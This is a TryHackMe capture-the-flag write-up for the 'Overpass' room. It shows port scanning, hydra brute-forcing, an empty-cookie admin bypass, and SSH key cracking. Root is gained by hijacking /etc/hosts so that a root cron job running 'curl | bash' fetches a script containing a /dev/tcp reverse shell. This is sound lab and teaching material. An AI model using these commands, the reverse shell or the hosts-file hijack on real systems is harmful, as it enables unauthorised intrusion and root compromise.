Overpass - Write-up - TryHackMe

Information

Room#

  • Name: Overpass
  • Profile: tryhackme.com
  • Difficulty: Easy
  • Description: What happens when some broke CompSci students make a password manager?

Overpass

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

sudo pacman -S nmap wget ffuf curl htmlq hydra john ruby openssh

Network discovery#

As usual, let's start by adding a local domain name to the machine.

$ grep overpass /etc/hosts
10.129.136.98 overpass.thm

Full network scan on the machine:

sudo nmap -sSVC overpass.thm -T4 -p- -v --open --reason -oA nmap
$ grep -E 'open|PORT' nmap.nmap
# Nmap 7.99 scan initiated Mon Apr  6 01:16:04 2026 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap overpass.thm
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 62 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)

Website discovery#

Statistically, we have more chances starting with HTTP than with SSH.

http://overpass.thm/ is the website for the password manager that the task description was talking about.

On the /downloads/ we can download pre-built binaries but also the source code and build script.

Source code analysis#

wget http://overpass.thm/downloads/src/overpass.go
wget http://overpass.thm/downloads/src/buildscript.sh

It's pretty obvious by reading overpass.go, that the encryption is extremely weak and reversible. It's a Caesar variant.

//Secure encryption algorithm from https://socketloop.com/tutorials/golang-rotate-47-caesar-cipher-by-47-characters-example
func rot47(input string) string {
	var result []string
	for i := range input[:len(input)] {
		j := int(input[i])
		if (j >= 33) && (j <= 126) {
			result = append(result, string(rune(33+((j+14)%94))))
		} else {
			result = append(result, string(input[i]))
		}
	}
	return strings.Join(result, "")
}

My guess is that in the following steps of the room, we should find encrypted passwords and will be able to decrypt them with this software.

Web enumeration & analysis#

With a very quick fuzzing pass using ffuf, we are able to identify a route that is not linked on the homepage: /admin/

ffuf -u http://overpass.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt

We have nothing else to try but brute-forcing credentials on the admin page. For that, we have admin names on the /aboutus/ page.

curl -s http://overpass.thm/aboutus/ | htmlq '.aboutText' | pcre2grep -o1 '>([[:alpha:]]+) -'
Ninja
Pars
Szymex
Bee
MuirlandOracle

Let's try some brute-force with hydra, with a dictionary of common password and also user = pass.

hydra -L users.txt -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -u -e sr -s 80 -m '/api/login:username=^USER^&password=^PASS^:Incorrect credentials' overpass.thm http-post-form

But we are not lucky that way. Actually, the admin page is also loading login.js script.

// […]
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

We can see in case of successful lo gin, the cookie SessionToken is set. Let's try to set one. Any value does nothing, but an empty value makes us connected. Once connected, we can read the following message:

Since you keep forgetting your password, James, I've set up SSH keys for you.

If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you. Also, we really need to talk about this "Military Grade" encryption. - Paradox

Let's save the key.

curl -s http://overpass.thm/admin/ --cookie 'SessionToken=' | htmlq --text 'pre' > james.private_key.pem
chmod 600 james.private_key.pem

SSH key cracking#

Referring to an article I wrote, we can try to crack the password protecting the key.

ssh2john james.private_key.pem > james.private_key.jtr_hash
john james.private_key.jtr_hash -w=/usr/share/wordlists/passwords/rockyou.txt --format=ssh

The password is found after 8 seconds.

Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
edited          (james.private_key.pem)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:08 DONE (2026-04-06 02:37) 0.1129g/s 1620Kp/s 1620Kc/s 1620KC/s *7¡Vamos!
Session completed

User flag#

Let's connect with the key and the freshly cracked password.

ssh -i james.private_key.pem james@overpass.thm
james@ip-10-129-136-98:~$ ls -lhA
total 40K
lrwxrwxrwx 1 james james    9 Jun 27  2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james  220 Jun 27  2020 .bash_logout
-rw-r--r-- 1 james james 3.7K Jun 27  2020 .bashrc
drwx------ 2 james james 4.0K Jun 27  2020 .cache
drwx------ 3 james james 4.0K Jun 27  2020 .gnupg
drwxrwxr-x 3 james james 4.0K Jun 27  2020 .local
-rw-r--r-- 1 james james   49 Jun 27  2020 .overpass
-rw-r--r-- 1 james james  807 Jun 27  2020 .profile
drwx------ 2 james james 4.0K Jun 27  2020 .ssh
-rw-rw-r-- 1 james james  438 Jun 27  2020 todo.txt
-rw-rw-r-- 1 james james   38 Jun 27  2020 user.txt
james@ip-10-129-136-98:~$ cat user.txt
thm{edited}

Elevation of privileges (EoP)#

As I guess earlier, the goal is now to reverse the crappy encryption.

james@ip-10-129-136-98:~$ cat todo.txt 
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
  Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They're not updating on the website

james@ip-10-129-136-98:~$ cat .overpass && echo
,L<edited>N.

Let's save ~/.overpass and decrypt it on CyberChef.

It contains the james password, but that's useless to EoP.

[{"name":"System","pass":"s<edited>e"}]

The note also mentioned an automated build script. Let's check cron.

james@ip-10-129-136-98:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

curl is run as root to retrieve a script and then run in a piped bash. Basically if we control that script, we can elevate to root.

Strangely, the hosts file is writable by anybody, so we can edit overpass.thm entry and set our IP address.

james@ip-10-129-136-98:~$ ls -lh /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27  2020 /etc/hosts
mkdir -p http/downloads/src/
nvim http/downloads/src/buildscript.sh

In buildscript.sh I put my reverse shell:

/bin/bash -i >& /dev/tcp/192.168.150.196/7777 0>&1

I launch a listener:

ncat -lvnp 7777

To bind low ports without requiring privileged access:

sudo sysctl -w net.ipv4.ip_unprivileged_port_start=0 | sudo tee -a /etc/sysctl.d/99-custom.conf

I start the HTTP server that will deliver the malicious script:

ruby -run -ehttpd ./http -p80

Then we edit /etc/hosts on the machine to set our IP address:

127.0.0.1 localhost
127.0.1.1 overpass-prod
192.168.150.196 overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Root flag#

Wait a few seconds and them boom! We are root!

root@ip-10-129-136-98:~# id
uid=0(root) gid=0(root) groups=0(root)

root@ip-10-129-136-98:~# ls -lhA
total 68K
lrwxrwxrwx 1 root root    9 Jun 27  2020 .bash_history -> /dev/null
-rw------- 1 root root 3.1K Apr  9  2018 .bashrc
drwx------ 3 root root 4.0K Oct 22 20:53 .cache
drwx------ 3 root root 4.0K Oct 22 20:53 .gnupg
drwx------ 3 root root 4.0K Jun 27  2020 .local
-rw------- 1 root root  184 Jun 27  2020 .profile
drwx------ 2 root root 4.0K Oct 22 20:14 .ssh
-rw------- 1 root root  966 Oct 22 21:29 .viminfo
-rw-r--r-- 1 root root  20K Apr  6 02:35 buildStatus
drwx------ 2 root root 4.0K Jun 27  2020 builds
drwxr-xr-x 4 root root 4.0K Jun 27  2020 go
-rw------- 1 root root   38 Jun 27  2020 root.txt
drwx------ 2 root root 4.0K Jun 27  2020 src

root@ip-10-129-136-98:~# cat root.txt
thm{edited}

Bonus#

There is another .overpass file.

root@ip-10-129-136-98:~# find / -type f -name .overpass
/home/tryhackme/.overpass
/home/james/.overpass

Again, decrypt it on CyberChef.

[{"name":"TryHackMe Subscription Code","pass":"edited"}]

It was where was the subscription code.

Share